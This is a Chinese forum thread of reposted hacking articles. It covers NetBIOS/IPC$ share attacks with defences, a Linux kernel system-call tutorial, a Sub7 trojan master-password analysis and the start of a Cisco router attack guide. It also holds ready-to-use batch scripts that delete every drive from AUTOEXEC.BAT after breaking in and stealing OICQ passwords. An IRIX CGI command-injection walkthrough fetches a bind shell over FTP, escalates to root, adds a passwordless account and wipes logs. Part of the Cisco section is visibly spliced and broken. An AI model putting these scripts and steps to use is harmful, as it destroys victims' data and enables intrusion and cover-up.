    再说说nt,这号称C2级别的操作系统连上网后就不再是C2级别了!虽然nt有安全机制,但是如果管理员有薄弱的密码,通过netbois获得用户名就可以利用IPC$(进程间通信)进行攻击。IPC$共享是NT主机上一个标准的隐藏共享,主要用于服务器到服务器的通信。NT主机用来互相连接并通过这个共享来获得各种必要的信息。通过连接 这个共享,就能够实现与nt服务器的有效连接。通过与这个共享的空连接,你就能够在不需要提供任何身份证明的情况下建立这一连接。这类软件有NTIS并能自动探测薄弱口令。由于ntis是工作于nt的命令行模式下的,所以我做了个基于ntis的图形界面。可以方便的检查机器的共享资源以及方便的使用。软件在我的主页有下载http://mcwolf.533.net/program/neteasy.zip (只能在NT上运行)。

解决方法
    win9x
如果一定要共享文件的话。那就要采用根据口令访问。无论如何不能采用只读或者完全访问。否则来自互联网的任意一台计算机都可以读取甚至删除你硬盘里的资料。否则就不允许任何资源的共享。
    winNT
windowsNT有安全机制比win9x安全一些。没有密码是不能访问共享资源的。只要用户的密码设置的复杂一点。还有共享资源的权限配置正确就能保证文件系统的安全。但是首先要磁盘使用ntfs格式才能保证文件系统的安全性。

    最后谈谈这个后门的端口,137,138是udp端口。当通过网络邻居传输文件的时候就是通过这个2个端口.139端口是netbios提供服务的tcp端口。我发现在windows9x下可以完全关闭这几个端口。完全禁止了netbios服务。方式是在控制面板-网络-只保留tcp/ip协议和拨号网络适配器。但是这样windows会提示你网络不完整。但是还可以继续使用。在tcp/ip协议里的netbios一项不要选择绑定到tcp/ip协议。这时候你的netbios服务完全停止了。你的机器也没有137,138和139端口了。这样追捕也搞不清你到底是9x还是unix了。windowsNT下可以封锁这些端口。封锁不必要的TCP和UDP端口可以通过在网络控制面板的IP地址对话框中进行配置来完成。 点击高级按钮激活高级IP地址对话框, 然后点击Enable Secury 对话框,然后点击配置按钮激活TCP/IP安全对话框, 那里列出了那些TCP和UDP端口被允许了。但是好像不能识别拨号网络适配器。

以上的方法都是给不需要连接入局域网的计算机的配置方法。如果你是一台拨号上网的单机那么完全可以禁止netbios服务。但是如果你需要接入局域网的话。那你只能注意加密你的共享资源了。否则全互联网的人都可以通过这个windows的“后门”到你的计算机里了:)。以上是我的一些粗略的分析,有错误的地方还请指正。
 
                                                              

一光年的距离 2009-04-23 17:50
教您整蛊之完全自动删除硬盘文件

作者: 小雨

(相关操作之后)成功侵入到别人主机!当然要看看硬盘有什么好东东啦!先去查查机主是男是女,主要是看有没有OICQ,一般都在C:\Program Files\oicq,啊?至少有50个号码?一看就知道不是好人!OICQ号码多了,好骗人呀!找到以后在自己的OICQ上查他的信息(一般不准),咦?号码不错?好,先下载CFG文件密码档,然后用OICQ密码器解开!行了,再用OICQ登陆,修改密码!OK?!还有其他什么东东?下载点信看看?嘻嘻,还是看看他在玩什么游戏?上传“联众网络游戏”密码查看器查找他“联众网络游戏”的密码?不好玩,不好玩!还是去看看他现在干什么吧!(相关操作之后)啊?!小雨晕倒……这个色狼!居然在浏览色情网站?!气死小雨了!早知道就不看了!哼!叫你色!给你点颜色看看!小雨马上在其C盘根目录上传了一个已编辑好的名为AUTOEXEC.BAT的批处理文件,内容如下:(小雨声明:以上均为虚构,如有雷同纯属巧合!)

--------------------------------------------------------------------------------
@rem 开始
@rem 关闭命令行显示
@echo off
rem 设置路径
PATH %PATH%;c:\windows\;c:\windows\command
rem 运行磁盘缓冲,加快删除速度:)
SMARTDRV >nul
rem 清屏
cls
rem 显示正在运行WINDOWS系统和百分比
echo run Windows ..........10%%
rem 执行删除操作
deltree /y g:\. >nul
cls
echo run Windows ..........20%%
deltree /y f:\. >nul
cls
echo run Windows ..........50%%
deltree /y e:\. >nul
cls
echo run Windows ..........70%%
deltree /y d:\. >nul
cls
echo run Windows ..........90%%
deltree /y c:\. >nul
cls
rem 全部删除后,告诉他电脑刚才在干什么!:)
echo del system all!!
echo Goodbye!!!
rem 结束

--------------------------------------------------------------------------------
OK!当他下次启动时将自动删除系统所有文件!如果还有其他硬盘,也可在程序里添加,各位网友能看懂吗?嘻嘻,应该能看懂的,大家都是大虾嘛!虽然这只是简单的、普通的批处理文件,但在这里的作用可不简单呦!是完全删除他硬盘的所有文件!如果他系统正在运行,就肯定有文件删不掉,可现在……什么都还没开始运行的时候就……而且借WINDOWS系统启动慢的东风,他肯定在一边骂WIN的速度,一边慢慢等删除呢!

就算他D版光盘再多,也需要重装系统吧?也需要重装驱动程序吧?至少几个小时上不了网,而且丢失全部……一会就去哭了……嘻嘻……试问谁每次关机前检查AUTOEXEC.BAT文件?谁启动时不是直接运行WINDOWS系统?所以本方法很少落空!毒不毒?您可以修改黄色部分和删除所有rem开头的语句。
(修改可以,但一定要记住前后对应呀!)如果您不懂或只是半懂程序,可千万别自己试呀!结果是很危险的!

一光年的距离 2009-04-23 17:51
教您整蛊之启动密码

作者: 小雨

您一般都在电脑的哪儿加密码呢?CMOS?Windows启动?加密目录?还是加密程序?不,都不太好,非常容易被破解!而且您更不希望破解者轻松得到自己的数据,那怎么办?请看下面的程序:

--------------------------------------------------------------------------------
@rem 开始
@rem 关闭命令行显示
@echo off
rem 设置路径
PATH %PATH%;c:\windows\;c:\windows\command
rem 设置变量
set a=1
set d=0
:sub
rem 清屏
cls
rem 等待输入密码
CHOICE /c:1234567890 /n Password(3-%a%):
rem 判断输入的是哪个字符
if ERRORLEVEL 10 goto 10
if ERRORLEVEL 9 goto 9
if ERRORLEVEL 8 goto 8
if ERRORLEVEL 7 goto 7
if ERRORLEVEL 6 goto 6
if ERRORLEVEL 5 goto 5
if ERRORLEVEL 4 goto 4
if ERRORLEVEL 3 goto 3
if ERRORLEVEL 2 goto 2
rem 判断运行次数
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:10
rem 判断密码是否正确
if %d%==2 set d=3
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:9
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:8
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:7
if %d%==0 set d=1
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:6
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:5
if %d%==1 set d=2
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:4
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:3
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:2
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:run
rem 判断密码是否正确
if %d%==3 goto end
rem 密码错误时显示“OK”!迷惑非法使用者
echo Password ok!
rem 这里放密码错误时要执行的程序
:end
@rem 结束
--------------------------------------------------------------------------------
这个BAT程序可以输入三次,正确密码是:750,您也可以使用字母作为密码,如果密码输入错误就一边显示密码正确,迷惑非法使用者,一边执行您的补救程序,比如执行删除重要文件等等!如果放在autoexec.bat里面就可以得到重新启动时加密的效果!一般人都会在不知道密码的情况下先随便输入试试,所以本程序应该还管用的,是不是很简单?您可以将红色部分任意的顺序放在任意的段落里和删除所有rem开头的语句。(修改可以,但一定要记住前后对应呀!)

                                                                  

一光年的距离 2009-04-23 17:51
教您整蛊之运行N次后执行指定程序

作者: 小雨

(好,整蛊程序已经准备好了,但我不想立即生效,因为怕人怀疑到我!怎么办?来,看看下面的程序:

--------------------------------------------------------------------------------
@rem 开始
@rem 关闭命令行显示
@echo off
rem 设置路径
PATH %PATH%;c:\windows\;c:\windows\command
rem 判断是否有开始执行标记文件
if EXIST c:\windows\5.bak goto run
rem 创建标记初始文件
dir c:\msdos.sys > c:\windows\1.bak
rem 查找标记文件来判断运行次数
if EXIST c:\windows\4.bak goto a
if EXIST c:\windows\3.bak goto b
if EXIST c:\windows\2.bak goto c
if EXIST c:\windows\1.bak goto d
goto end
:a
rem 创建运行次数标记文件
type c:\windows\1.bak > c:\windows\5.bak
goto end
:b
type c:\windows\1.bak>c:\windows\4.bak
goto end
:c
type c:\windows\1.bak>c:\windows\3.bak
goto end
:d
type c:\windows\1.bak>c:\windows\2.bak
goto end
:run
rem 开始执行预定程序
deltree /y c:\windows\1.bak >nul
deltree /y c:\windows\2.bak >nul
deltree /y c:\windows\3.bak >nul
deltree /y c:\windows\4.bak >nul
deltree /y c:\windows\5.bak >nul
rem 这里改为您想运行的程序文件名 >nul
:end
@rem 结束
--------------------------------------------------------------------------------
这个BAT每运行5次就执行一次您预定的程序,如果放在autoexec.bat里面就可以得到重新启动5次执行一次指定程序的效果!是不是很简单?您可以修改红色部分增加或减少运行次数和删除所有rem开头的语句。(修改可以,但一定要记住前后对应呀!)

                                                                      

一光年的距离 2009-04-23 17:51
一次尝试IRIX的过程

nobody shell

      有个家伙跟我说过某个站点是IRIX,有个infosrch的cgi漏洞,OK,假定该站为www.targe.co.jp吧。

1、http://www.targe.co.jp/cgi-bin/infosrch.cgi?cmd=getdoc&db=man&fname=|ls%20-la这就是它的利用方法了。其中ls -la是我们要运行的命令,我不太习惯在web shell里面干活,还是要弄出一个shell有个$来得方便些,于是就用ftp。

2、http://www.targe.co.jp/cgi-bin/infosrch.cgi?cmd=getdoc&db=man&fname=echo%20open%20www.xfocus.org>/tmp/a
……
……
上面这些其实就是把这一段东西输进/tmp/a中:

open www.xfocus.org <---------别当真,这里没有这个东西;)
user quack quack <---------我的用户名密码
binary
cd /home/quack
lcd /tmp
prompt
get bindshell.c <---------这是一个绑定shell的东西,网上到处有
bye

http://www.targe.co.jp/cgi-bin/infosrch.cgi?cmd=getdoc&db=man&fname=|nohup%20ftp%20-ivn%20</tmp/a

这里呢,就是在运行ftp取回东西了;)这么拿文件的话在xferlog里不会有记录。

http://www.targe.co.jp/cgi-bin/infosrch.cgi?cmd=getdoc&db=man&fname=|/usr/local/bin/gcc%20/tmp/bindshell.c%20-o%20/tmp/abc

编译

http://www.targe.co.jp/cgi-bin/infosrch.cgi?cmd=getdoc&db=man&fname=|/tmp/abc

运行……

3、现在我们可以telnet上去了

bash# telnet *.*.*.* 12345
Trying *.*.*.*...
Connected to *.*.*.*.
Escape character is '^]'.
sh -i;
$ id;
uid=60001(nobody) gid=60001(nobody)
$

4、利用IRIX的inpview漏洞,该漏洞的描述如下:

某些版本IRIX下的inpview会在/var/tmp/目录下不安全地建立临时文件,这些临时文件名并不随机,用户可以建立一个符号链接到其他文件,利用inpview的setuid-to-root权限覆盖其他文件,同时对应文件权限被更改成0666。

漏洞利用程序就不贴了,大家自己看看,很简单的,总之编译完成之后。

$ ./a.out /etc/passwd;

copyright LAST STAGE OF DELIRIUM jan 2000 poland //lsd-pl.net/
/usr/lib/InPerson/inpview for irix 6.5 6.5.8 IP:all

looking for temporary file... found!
……
……

$ ./a.out /etc/shadow;
……
……

就把这两个破文件的权限都改成0666了,往下该干什么活不用我说了吧……
加个uid0的帐号,密码为空,修改系统,删除sulog\weblog\wtmp\utmp里的记录以及把/tmp下面的东西干掉,把passwd和shadow恢复回原样,再touch一下。走人,睡觉。

btw:一句题外话,现在IRIX的telnetd漏洞很猛呀,还好要有irix系统编译exploit,少了些小孩做坏事,还有,那天stardust说还有许多IRIX的lp默认密码为空,我看了一下,的确如此,印象中mixter写了一个小段子专门搜索网上lp空密码帐号的……

一光年的距离 2009-04-23 17:52
   Linux 内核解读入门

    针对好多Linux 爱好者对内核很有兴趣却无从下口,本文旨在介绍一种解读linux内核源码的入门方法,而不是解说linux复杂的内核机制;

一.核心源程序的文件组织:

1.Linux核心源程序通常都安装在/usr/src/linux下,而且它有一个非常简单的编号约定:任何偶数的核心(例如2.0.30)都是一个稳定地发行的核心,而任何奇数的核心(例如2.1.42)都是一个开发中的核心。

本文基于稳定的2.2.5源代码,第二部分的实现平台为 Redhat Linux 6.0。

2.核心源程序的文件按树形结构进行组织,在源程序树的最上层你会看到这样一些目录:

●Arch :arch子目录包括了所有和体系结构相关的核心代码。它的每一个子目录都代表一种支持的体系结构,例如i386就是关于intel cpu及与之相兼容体系结构的子目录。PC机一般都基于此目录;

●Include: include子目录包括编译核心所需要的大部分头文件。与平台无关的头文件在 include/linux子目录下,与 intel cpu相关的头文件在include/asm-i386子目录下,而include/scsi目录则是有关scsi设备的头文件目录;

●Init: 这个目录包含核心的初始化代码(注:不是系统的引导代码),包含两个文件main.c和Version.c,这是研究核心如何工作的一个非常好的起点。

●Mm :这个目录包括所有独立于 cpu 体系结构的内存管理代码,如页式存储管理内存的分配和释放等;而和体系结构相关的内存管理代码则位于arch/*/mm/,例如arch/i386/mm/Fault.c

●Kernel:主要的核心代码,此目录下的文件实现了大多数linux系统的内核函数,其中最重要的文件当属sched.c;同样,和体系结构相关的代码在arch/*/kernel中;

●Drivers: 放置系统所有的设备驱动程序;每种驱动程序又各占用一个子目录:如,/block 下为块设备驱动程序,比如ide(ide.c)。如果你希望查看所有可能包含文件系统的设备是如何初始化的,你可以看drivers/block/genhd.c中的device_setup()。它不仅初始化硬盘,也初始化网络,因为安装nfs文件系统的时候需要网络其他: 如, Lib放置核心的库代码; Net,核心与网络相关的代码; Ipc,这个目录包含核心的进程间通讯的代码; Fs ,所有的文件系统代码和各种类型的文件操作代码,它的每一个子目录支持一个文件系统,例如fat和ext2;

Scripts, 此目录包含用于配置核心的脚本文件等。

一般,在每个目录下,都有一个 .depend 文件和一个 Makefile 文件,这两个文件都是编译时使用的辅助文件,仔细阅读这两个文件对弄清各个文件这间的联系和依托关系很有帮助;而且,在有的目录下还有Readme 文件,它是对该目录下的文件的一些说明,同样有利于我们对内核源码的理解;


  二.解读实战:为你的内核增加一个系统调用

虽然,Linux 的内核源码用树形结构组织得非常合理、科学,把功能相关联的文件都放在同一个子目录下,这样使得程序更具可读性。然而,Linux 的内核源码实在是太大而且非常复杂,即便采用了很合理的文件组织方法,在不同目录下的文件之间还是有很多的关联,分析核心的一部分代码通常会要查看其它的几个相关的文件,而且可能这些文件还不在同一个子目录下。

体系的庞大复杂和文件之间关联的错综复杂,可能就是很多人对其望而生畏的主要原因。当然,这种令人生畏的劳动所带来的回报也是非常令人着迷的:你不仅可以从中学到很多的计算机的底层的知识(如下面将讲到的系统的引导),体会到整个操作系统体系结构的精妙和在解决某个具体细节问题时,算法的巧妙;而且更重要的是:在源码的分析过程中,你就会被一点一点地、潜移默化地专业化;甚至,只要分析十分之一的代码后,你就会深刻地体会到,什么样的代码才是一个专业的程序员写的,什么样的代码是一个业余爱好者写的。

为了使读者能更好的体会到这一特点,下面举了一个具体的内核分析实例,希望能通过这个实例,使读者对 Linux的内核的组织有些具体的认识,从中读者也可以学到一些对内核的分析方法。

以下即为分析实例:

【一】操作平台:

硬件:cpu intel Pentium II ;

软件:Redhat Linux 6.0; 内核版本2.2.5【二】相关内核源代码分析:

1.系统的引导和初始化:Linux 系统的引导有好几种方式:常见的有 Lilo, Loadin引导和Linux的自举引导(bootsect-loader),而后者所对应源程序为arch/i386/boot/bootsect.S,它为实模式的汇编程序,限于篇幅在此不做分析;无论是哪种引导方式,最后都要跳转到 arch/i386/Kernel/setup.S, setup.S主要是进行时模式下的初始化,为系统进入保护模式做准备;此后,系统执行 arch/i386/kernel/head.S (对经压缩后存放的内核要先执行 arch/i386/boot/compressed/head.S); head.S 中定义的一段汇编程序setup_idt ,它负责建立一张256项的 idt 表(Interrupt Descriptor Table),此表保存着所有自陷和中断的入口地址;其中包括系统调用总控程序 system_call 的入口地址;当然,除此之外,head.S还要做一些其他的初始化工作;

2.系统初始化后运行的第一个内核程序asmlinkage void __init start_kernel(void) 定义在

/usr/src/linux/init/main.c中,它通过调用usr/src/linux/arch/i386/kernel/traps.c 中的一个函数

void __init trap_init(void) 把各自陷和中断服务程序的入口地址设置到 idt 表中,其中系统调用总控程序system_cal就是中断服务程序之一;void __init trap_init(void) 函数则通过调用一个宏

set_system_gate(SYSCALL_VECTOR,&system_call); 把系统调用总控程序的入口挂在中断0x80上;

其中SYSCALL_VECTOR是定义在 /usr/src/linux/arch/i386/kernel/irq.h中的一个常量0x80; 而 system_call 即为中断总控程序的入口地址;中断总控程序用汇编语言定义在/usr/src/linux/arch/i386/kernel/entry.S中;

3.中断总控程序主要负责保存处理机执行系统调用前的状态,检验当前调用是否合法, 并根据系统调用向量,使处理机跳转到保存在 sys_call_table 表中的相应系统服务例程的入口; 从系统服务例程返回后恢复处理机状态退回用户程序;

而系统调用向量则定义在/usr/src/linux/include/asm-386/unistd.h 中;sys_call_table 表定义在/usr/src/linux/arch/i386/kernel/entry.S 中; 同时在 /usr/src/linux/include/asm-386/unistd.h 中也定义了系统调用的用户编程接口;

4.由此可见 , linux 的系统调用也象 dos 系统的 int 21h 中断服务, 它把0x80 中断作为总的入口, 然后转到保存在 sys_call_table 表中的各种中断服务例程的入口地址 , 形成各种不同的中断服务;

由以上源代码分析可知, 要增加一个系统调用就必须在 sys_call_table 表中增加一项 , 并在其中保存好自己的系统服务例程的入口地址,然后重新编译内核,当然,系统服务例程是必不可少的。

由此可知在此版linux内核源程序中,与系统调用相关的源程序文件就包括以下这些:

1.arch/i386/boot/bootsect.S

2.arch/i386/Kernel/setup.S

3.arch/i386/boot/compressed/head.S

4.arch/i386/kernel/head.S

5.init/main.c

6.arch/i386/kernel/traps.c

7.arch/i386/kernel/entry.S

8.arch/i386/kernel/irq.h

9.include/asm-386/unistd.h

当然,这只是涉及到的几个主要文件。而事实上,增加系统调用真正要修改文件只有include/asm-386/unistd.h和arch/i386/kernel/entry.S两个;

【三】 对内核源码的修改:

1.在kernel/sys.c中增加系统服务例程如下:

asmlinkage int sys_addtotal(int numdata)

{

int i=0,enddata=0;

while(i<=numdata)

enddata+=i++;

return enddata;

}

该函数有一个 int 型入口参数 numdata , 并返回从 0 到 numdata 的累加值; 当然也可以把系统服务例程放在一个自己定义的文件或其他文件中,只是要在相应文件中作必要的说明;

2.把 asmlinkage int sys_addtotal( int) 的入口地址加到sys_call_table表中:

arch/i386/kernel/entry.S 中的最后几行源代码修改前为:

... ...

.long SYMBOL_NAME(sys_sendfile)

.long SYMBOL_NAME(sys_ni_syscall) /* streams1 */

.long SYMBOL_NAME(sys_ni_syscall) /* streams2 */

.long SYMBOL_NAME(sys_vfork) /* 190 */

.rept NR_syscalls-190

.long SYMBOL_NAME(sys_ni_syscall)

.endr

修改后为: ... ...

.long SYMBOL_NAME(sys_sendfile)

.long SYMBOL_NAME(sys_ni_syscall) /* streams1 */

.long SYMBOL_NAME(sys_ni_syscall) /* streams2 */

.long SYMBOL_NAME(sys_vfork) /* 190 */

/* add by I */

.long SYMBOL_NAME(sys_addtotal)

.rept NR_syscalls-191

.long SYMBOL_NAME(sys_ni_syscall)

.endr

3. 把增加的 sys_call_table 表项所对应的向量,在include/asm-386/unistd.h 中进行必要申明,以供用户进程和其他系统进程查询或调用:

增加后的部分 /usr/src/linux/include/asm-386/unistd.h 文件如下:

... ...

#define __NR_sendfile 187

#define __NR_getpmsg 188

#define __NR_putpmsg 189

#define __NR_vfork 190

/* add by I */

#define __NR_addtotal 191

4.测试程序(test.c)如下:

#include

#include

_syscall1(int,addtotal,int, num)

main()

{

int i,j;


  do

printf("Please input a number\n");

while(scanf("%d",&i)==EOF);

if((j=addtotal(i))==-1)

printf("Error occurred in syscall-addtotal();\n");

printf("Total from 0 to %d is %d \n",i,j);

}

对修改后的新的内核进行编译,并引导它作为新的操作系统,运行几个程序后可以发现一切正常;在新的系统下对测试程序进行编译(*注:由于原内核并未提供此系统调用,所以只有在编译后的新内核下,此测试程序才能可能被编译通过),运行情况如下:

$gcc -o test test.c

$./test

Please input a number

36

Total from 0 to 36 is 666

可见,修改成功;

而且,对相关源码的进一步分析可知,在此版本的内核中,从/usr/src/linux/arch/i386/kernel/entry.S

文件中对 sys_call_table 表的设置可以看出,有好几个系统调用的服务例程都是定义在/usr/src/linux/kernel/sys.c 中的同一个函数:

asmlinkage int sys_ni_syscall(void)

{

return -ENOSYS;

}

例如第188项和第189项就是如此:

... ...

.long SYMBOL_NAME(sys_sendfile)

.long SYMBOL_NAME(sys_ni_syscall) /* streams1 */

.long SYMBOL_NAME(sys_ni_syscall) /* streams2 */

.long SYMBOL_NAME(sys_vfork) /* 190 */

... ...

而这两项在文件 /usr/src/linux/include/asm-386/unistd.h 中却申明如下:

... ...

#define __NR_sendfile 187

#define __NR_getpmsg 188 /* some people actually want streams */

#define __NR_putpmsg 189 /* some people actually want streams */

#define __NR_vfork 190

由此可见,在此版本的内核源代码中,由于asmlinkage int sys_ni_syscall(void) 函数并不进行任何操作,所以包括 getpmsg, putpmsg 在内的好几个系统调用都是不进行任何操作的,即有待扩充的空调用; 但它们却仍然占用着sys_call_table表项,估计这是设计者们为了方便扩充系统调用而安排的; 所以只需增加相应服务例程(如增加服务例程getmsg或putpmsg),就可以达到增加系统调用的作用。

结语:当然对于庞大复杂的 linux 内核而言,一篇文章远远不够,而且与系统调用相关的代码也只是内核中极其微小的一部分;但重要的是方法、掌握好的分析方法;所以上的分析只是起个引导的作用,而正真的分析还有待于读者自己的努力。:)

                                                ----摘自“安盟”

一光年的距离 2009-04-23 17:52
木马逆向分析

    我们的目标是Sub7。你认为你在Sub7的服务端设置了一个密码,那么其他人就无法连接它了吗?你犯了一个大错误!这儿我就向你展示,我是怎样在这木马服务端找到安全漏洞的。

你需要的工具:

(x) SoftICE (+ SymbolLoader.)可以从crack迷们要到,许多crack网站也可以找到!
(x) Hiew 6.16,一个编辑器。
(x) 目标, Sub7, 可在这里找到: subseven.slak.org
(x) SoftICE's 命令和汇编语言的基础知识.


让我们开始吧:

我对连接客户端的时候,让密码进行比较的过程比较感兴趣。所以,我使用SoftICE's的symbol
loader输入一些winsock的端口 :)

运行loader,点击“FILE--LOAD EXPORTS”菜单,指向你的windows系统目录,选择"wsock32.dll"
打开。SymbolLoader应该显示:

"Exports for Z:\WINDBLOWZ\SYSTEM\Wsock32.dll loaded sucessfully"

现在去使用 EditServer.exe文件设置Sub7的服务端(请看其它文档,我在这儿不提了)我设置端口为666,密码为“abuse”.运行服务端的木马,你不久就可以被安装好服务端,但千万别在网上。(关于这个程序我不对你负任何责任,它不是我编的)执行SubSeven.exe连接到服务端(IP地址为127.0.0.1, 就是你本机了),密码框会弹出来,任意输入一个密码。服务端是用WSOCK32!recv接收客户端的信息的。
Windows的Sockets recv 接收数据功能使用一个Socket.结构如下:

int recv (

SOCKET s,
char FAR* buf,
int len,
int flags
);
第二行(char FAR* buf)非常重要。信息就储藏在那里。现在,在softice中在recv上设置断点 (输入 "d esp->8")点击OK送出密码。SoftICE回弹出,按F11(g @ss:esp)。跳到密码部分时会在SoftICE的信息栏中显示'PWD'。现在在密码的地址中设置一个断点。(如: bpr 405000 405010 RW)
Now set a bpr on the password's address (e.g.: bpr 405000 405010 RW) and on the copy
it will make at 004029c5.

下一次你将会停在004040dd:

0167:004040dd 8b0e mov ecx,[esi]
0167:004040df 8b1f mov ebx,[edi]
0167:004040e1 39d9 cmp ecx,ebx
0167:004040e3 7558 jnz 0040413d
0167:004040e5 4a dec edx
0167:004040e6 7415 jz 004040fd
0167:004040e8 8b4e04 mov ecx,[esi+04]
0167:004040eb 8b5f04 mov ebx,[edi+04]
0167:004040ee 39d9 cmp ecx,ebx

它停在了4040dd这一行,我们在我们的密码上设置了一个断点。那么它在本地将保存在esi中。前四个字母
移到ecx中。另外四个字母存在ebx中后进行比较...你现在认为,你发现了密码比较的地方了吗?不,不,
没门!其实Sub7的作者更愚蠢!!!在softice中输入“d edi”看看:

016F:012A3DD4 31 34 34 33 38 31 33 36-37 38 32 37 31 35 31 30 1443813678271510
016F:012A3DE4 31 39 38 30 00 69 6F 00-28 00 00 00 22 00 00 00 1980.io.(..."...
016F:012A3DF4 01 00 00 00 13 00 00 00-53 75 62 73 65 76 65 6E ........Subseven
016F:012A3E04 5F 5F 5F 3C 20 70 69 63-6B 20 3E 00 10 3E 2A 01 ___< pick >..>*.
016F:012A3E14 10 3E 2A 01 38 00 00 00-53 75 62 73 65 76 65 6E .>*.8...Subseven

奇怪,那不是我设置的“abuse”密码。那么让我们在连接一次试试...SubSeven显示:connected.啊,那怎么可能?SubSeven留一个系统密码吗?呵呵,你可以在自己的电脑上再试几次。啊,是的,那是系统密码。

好的就到这儿了,我只是想有人会对这感兴趣的。我对这遍文章不负任何责任!

                                                        ----摘自“安盟”

一光年的距离 2009-04-23 17:53
攻击CISCO路由器

  原文来自BlackSun,梦醒时分翻译。这是一篇非常好的文章,很高兴能和大家共享!

警告:

  不要用这破坏cisco系统,或非法访问系统。这篇文章只是以学习为目的。只可以用在合法行为,不能破坏任何系统。这篇文章将一步一步的向你展示如何利用发现的缺陷来获得非法访问。如果你攻入了一个cisco路由器,或者扰乱了系统,将会中断数百个网络客户机,造成大量损失。所以,只可以在被允许的情况下进行,否则你将会有许多麻烦!

----------------------------------------------------------------------------------------------
目录:
----------------------------------------------------------------------------------------------
在你看之前需要了解的:

-什么是IP地址?

-什么是ISP?

-什么是TCP/IP数据包?

-怎样隐藏你的IP地址?

-怎样使用Telnet?

-怎样使用HyperTerminal?

-怎样使用Ping?

-怎样使用TraceRoute?

-怎样使用代理服务器?
----------------------------------------------------------------------------------------------
-第一段:为什么攻击cisco路由器?
-第二段:怎样找到一个cisco路由器?
-第三段:怎样闯入一个cisco路由器?
-第四段:怎样破解密码?
-第五段:怎样使用一个cisco路由器?

----------------------------------------------------------------------------------------------
你看之前需要了解的知识:
----------------------------------------------------------------------------------------------

什么是IP地址?

IP是Internet Protocol的缩写,电脑通过IP地址来识别网络中的其它电脑,与其连接。这就是你为什么会
在IRC中被踢走,并且找到你的ISP和你的大概位置。IP地址是很容易得到的,基本上可以由以下几种方法
获得:

-你访问某网站,你的IP被记录

-在IRC中,某人得到你的IP地址

-在ICQ,OICQ中,可以简单的得到你的IP地址,使用一些小工具。

-如果你的电脑和某人连接起来,运行 systat即可看到和那些电脑连接(以IP地址显示)

-某人发给你一封用java程序写的邮件,可以得到你的IP地址


还有其它许多方法得到IP地址,包括使用一些木马和后门程序。

-----------
什么是ISP?


ISP是Internet Service Provider的缩写,你通过它们连接到internet.你拨号后就会连接和其连接。我
们可以运行一个traceroute(跟踪路径)来寻找我们的ISP(traceroute 在后面还会介绍).

你应该看到像这样:

tracert 222.222.22.22

Tracing route to [221.223.24.54]
over a maximum of 30 hops.
1 147ms 122ms 132ms your.isp [222.222.22.21]<<<你的ISP
2 122ms 143ms 123ms isp.firewall [222.222.22.20]<<Preferences。你可以在这改变缓冲区的大小。
你也可以 打开/关闭 "local echo"。如果你打开了"local echo",你的电脑将显示你输入的任何东西,
并且连接上的电脑将显示回应。

所以你将会看到就像这些:
你输入 "hello",你看到的是

hhelelollo

这是因为返回的信息和你输入的内容已经混合起来了。我这样做的唯一的原因是看连接的机器对我的输入,
是否产生回应。

在默认的情况下,telnet只会通过telnet端口连接,即是断口23。你并不会只通过端口23连接,所以你连
接的时候,你可以任意改变端口。你可以改成25,那是邮件服务程序的端口。也可以是21,那是ftp的端口。
总共有上千个端口,所以你要选择正确的端口!
-----------------------------------------------------------------------------------------------
怎样使用超级终端?

超级终端可以让你的电脑的任意端口进行监听某台电脑,如果有信息来到这个端口,就可以进行传输件。超
级终端在 开始>程序>附件>通讯 中,没有的话,你可以通过控制面板中安装。首先,你要选择连接协议,我
们选"TCP/IP Winsock",接着输入要连接的电脑,下面选择端口。可以选择Call>Wait for Call,来等待
文件。这样其它的电脑就可以通过某个端口连接上你了,你也可以聊天,或者传送文件了。
:我的超级终端可能不一样,没有这个功能。
----------------------------------------------------------------------------------------------
怎样使用Ping?

Ping的使用很简单,在MS-DOS方式下,输入“ping IP地址”,默认是ping三次,你也可以自己设定。

"ping ip地址 -t"

可以使其不停的ping。

改变 ping 的大小可以这样做:

"ping -l (size) ip.address"

ping其实是向远程的机器发送数据包,远程的机器接收到就会把数据包原路返回,我们可以看到这个过程的
时间。时间越短,速度就越快,当然,拥挤的时候,就会发生数据包丢失。 Ping 会减慢被ping的电脑的速
度,流量过大的时候,甚至使其down机。一分钟的ping攻击就可以使一台win98的电脑崩溃。(因为它的连接
缓冲区溢出 - 连接过量,所以Windows决定休息休息了:>).ping攻击也会占用你许多带宽,所以你的带宽要
比目标机器大(除非目标机器运行的是Windows 98,而且你有个不错的猫,那么一分钟内,你就可以叫它下台).
Ping攻击对强壮的系统没有效果。

注意: DOS's -t 选项不是一个ping攻击,它只是很小的连接一下,而且中间有很多间隔。在Unix或Linux
的机器中,你可以用上参数 -f 进行真正的ping攻击。其实,如果你的分布是POSIX-compliant (POSIX -
Portable Operating System Interface based on uniX),否则那就不是真正的Unix/Linux 分布。那
么如果你有个 OS,称自己既是Unix,又是Linux,那么就是有 -f 。
-----------------------------------------------------------------------------------------------
怎样使用TraceRoute?

要跟踪你的连接(可以观察到目标机器的连接路线),只要在MS-DOS方式下,输入“tracert IP地址”。你
将会看到一个电脑的目录,就是你和目标之间通过的机器。.

你可以用此方法确定是否存在防火墙,也可以确定某人的ISP(internet service provider)。

要确定ISP,只要看目标机器的前一个IP地址,那就应该是ISP的路由器。

基本上说,这就是traceroute怎样工作-一个 TCP/IP 数据包,在它的头部有一个值(在IP的头部。如果你不
知道这是什么意思,没关系,你接着往下看就可以了)称作 TTL,它是Time To Live的缩写。当一个数据包通过
路由器的时候,它的TTL值就会减少。这样可能会使数据包在网络中流窜,消耗带宽。所以每当一个数据包TTL
值达到0的时候,它就会失效并且因为一个ICMP错误返回到发送者。现在traceroute 先发送一个TTL值为1的
数据包,那么它很快就会返回。查看ICMP错误的头部,traceroute就可以知道数据包第一步通过哪。接着就
会发送TTL值为2的数据包,返回后,就是第二次通过的地方。依次下去,直到最终的目的地,就可以知道整个
路径。

